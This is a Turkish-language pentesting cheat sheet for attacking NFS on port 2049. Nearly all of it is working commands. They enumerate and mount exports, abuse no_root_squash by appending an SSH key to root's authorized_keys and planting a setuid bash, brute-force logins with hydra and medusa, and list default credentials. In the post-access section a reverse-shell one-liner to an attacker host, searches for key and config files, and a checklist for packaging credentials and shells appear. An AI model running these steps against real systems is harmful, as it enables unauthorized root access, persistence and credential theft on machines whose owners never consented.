2049 - Pentesting NFS Service
NFS fileshare
NFS paylaşımı no_root_squash veya everyone export ile root dosya yazımı/okuma verir. Hedef lab IP’si üzerinde komutları 2049 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
showmount.
-
Mount.
-
root squash durumu.
-
SSH key / cron yaz.
nmap -Pn -sV -p111,2049 --script nfs* TARGETshowmount -e TARGETrpcinfo -p TARGETmount -t nfs TARGET:/ /mntls -la /mntcat /mnt/etc/passwdecho 'ssh-rsa AAAA...' >> /mnt/root/.ssh/authorized_keyscp /bin/bash /mnt/tmp/bash; chmod u+s /mnt/tmp/bashDerin enum
Section titled “Derin enum”NFS Service için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p2049 TARGETnmap -Pn -p2049 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:2049' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',2049));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → NFS ServiceKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 2049 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 2049nmap -p2049 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit NFSmsfconsole -q -x 'search NFS; exit'nuclei -u https://TARGET:2049 -t cves/ -silent -severity || truenuclei -u http://TARGET:2049 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 2049printf '' | timeout 3 nc -nv TARGET 2049curl -vk --http1.0 http://TARGET:2049/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”showmount → mount → no_root_squash → root ssh